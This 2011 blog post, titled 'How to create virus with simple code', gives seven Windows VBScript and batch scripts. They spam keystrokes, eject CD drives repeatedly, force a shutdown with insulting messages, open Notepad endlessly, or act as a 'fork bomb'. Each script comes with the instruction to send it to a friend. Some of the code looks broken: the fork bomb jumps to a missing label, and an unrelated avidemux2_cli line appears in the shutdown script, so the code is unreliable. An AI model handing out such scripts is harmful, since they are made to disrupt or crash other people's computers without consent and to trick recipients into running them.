Wednesday, 9 February 2011

How to create virus with simple code





1) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop 

Save it as "Anything.VBS" and send it.

2) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Code:


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop 

Save it as "Anything.VBS" and send it.

3) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
Code:


MsgBox "Your PC is Hack"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

4) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Code:

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

5) Code to shutdown computer

Open NotePad And Write This:
Code:
avidemux2_cli --run j-1.js --run j-2.js --end
shutdown.exe -s -t 00

                  OR
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.bat" and send it.

6) Open Notepad continually in your friend's computer:
Open NotePad And Write This:
Code:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

7) code for make a Fork Bomb(LoL)
Open NotePad And Write This:
Code:
start
%0
goto :S

Save it as "Anything.BAT" and send it.

If You Open It,  It Can Crash Your Pc So Send It In YOUR FRIENDS .. Not to ME ^_^ .

No comments:

Post a Comment

Twitter Bird Gadget